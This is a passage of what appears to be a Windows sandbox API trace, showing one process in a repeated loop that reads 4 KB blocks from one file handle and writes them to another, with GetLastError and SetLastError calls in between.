[0077.760] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.760] GetLastError () returned 0x0
[0077.761] SetLastError (dwErrCode=0x0)
[0077.761] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.761] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.761] GetLastError () returned 0x0
[0077.761] SetLastError (dwErrCode=0x0)
[0077.761] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.762] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.762] GetLastError () returned 0x0
[0077.762] SetLastError (dwErrCode=0x0)
[0077.762] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.762] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.762] GetLastError () returned 0x0
[0077.763] SetLastError (dwErrCode=0x0)
[0077.763] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.763] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.763] GetLastError () returned 0x0
[0077.763] SetLastError (dwErrCode=0x0)
[0077.763] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.763] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.764] GetLastError () returned 0x0
[0077.764] SetLastError (dwErrCode=0x0)
[0077.764] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.764] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.764] GetLastError () returned 0x0
[0077.764] SetLastError (dwErrCode=0x0)
[0077.764] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.765] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.765] GetLastError () returned 0x0
[0077.765] SetLastError (dwErrCode=0x0)
[0077.765] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.765] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.766] GetLastError () returned 0x0
[0077.766] SetLastError (dwErrCode=0x0)
[0077.766] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.766] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.766] GetLastError () returned 0x0
[0077.766] SetLastError (dwErrCode=0x0)
[0077.766] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.767] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.767] GetLastError () returned 0x0
[0077.767] SetLastError (dwErrCode=0x0)
[0077.767] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.767] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.767] GetLastError () returned 0x0
[0077.768] SetLastError (dwErrCode=0x0)
[0077.768] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.768] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.768] GetLastError () returned 0x0
[0077.768] SetLastError (dwErrCode=0x0)
[0077.768] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.768] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.769] GetLastError () returned 0x0
[0077.769] SetLastError (dwErrCode=0x0)
[0077.769] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.769] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.769] GetLastError () returned 0x0
[0077.769] SetLastError (dwErrCode=0x0)
[0077.769] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.770] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.770] GetLastError () returned 0x0
[0077.770] SetLastError (dwErrCode=0x0)
[0077.770] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.770] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.770] GetLastError () returned 0x0
[0077.771] SetLastError (dwErrCode=0x0)
[0077.771] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.771] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.771] GetLastError () returned 0x0
[0077.771] SetLastError (dwErrCode=0x0)
[0077.771] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.772] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.772] GetLastError () returned 0x0
[0077.772] SetLastError (dwErrCode=0x0)
[0077.772] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.772] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.772] GetLastError () returned 0x0
[0077.772] SetLastError (dwErrCode=0x0)
[0077.772] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.773] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.773] GetLastError () returned 0x0
[0077.773] SetLastError (dwErrCode=0x0)
[0077.773] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.773] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.774] GetLastError () returned 0x0
[0077.774] SetLastError (dwErrCode=0x0)
[0077.774] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.774] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.774] GetLastError () returned 0x0
[0077.774] SetLastError (dwErrCode=0x0)
[0077.775] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.775] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.775] GetLastError () returned 0x0
[0077.775] SetLastError (dwErrCode=0x0)
[0077.775] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.775] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.776] GetLastError () returned 0x0
[0077.776] SetLastError (dwErrCode=0x0)
[0077.776] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.776] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.776] GetLastError () returned 0x0
[0077.776] SetLastError (dwErrCode=0x0)
[0077.776] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.776] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.777] GetLastError () returned 0x0
[0077.777] SetLastError (dwErrCode=0x0)
[0077.777] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.777] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.777] GetLastError () returned 0x0
[0077.777] SetLastError (dwErrCode=0x0)
[0077.777] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.777] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.777] GetLastError () returned 0x0
[0077.777] SetLastError (dwErrCode=0x0)
[0077.778] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.778] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.780] GetLastError () returned 0x0
[0077.780] SetLastError (dwErrCode=0x0)
[0077.780] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.780] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.780] GetLastError () returned 0x0
[0077.781] SetLastError (dwErrCode=0x0)
[0077.781] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.781] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.781] GetLastError () returned 0x0
[0077.781] SetLastError (dwErrCode=0x0)
[0077.781] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.781] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.781] GetLastError () returned 0x0
[0077.781] SetLastError (dwErrCode=0x0)
[0077.781] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.782] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.782] GetLastError () returned 0x0
[0077.782] SetLastError (dwErrCode=0x0)
[0077.782] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.782] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.782] GetLastError () returned 0x0
[0077.782] SetLastError (dwErrCode=0x0)
[0077.782] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.782] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.783] GetLastError () returned 0x0
[0077.783] SetLastError (dwErrCode=0x0)
[0077.783] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.783] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.783] GetLastError () returned 0x0
[0077.783] SetLastError (dwErrCode=0x0)
[0077.783] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.783] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.784] GetLastError () returned 0x0
[0077.784] SetLastError (dwErrCode=0x0)
[0077.784] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.784] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.784] GetLastError () returned 0x0
[0077.784] SetLastError (dwErrCode=0x0)
[0077.784] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.785] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.786] GetLastError () returned 0x0
[0077.786] SetLastError (dwErrCode=0x0)
[0077.786] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.786] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.786] GetLastError () returned 0x0
[0077.786] SetLastError (dwErrCode=0x0)
[0077.786] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.787] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.787] GetLastError () returned 0x0
[0077.787] SetLastError (dwErrCode=0x0)
[0077.787] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.787] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.787] GetLastError () returned 0x0
[0077.787] SetLastError (dwErrCode=0x0)
[0077.787] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
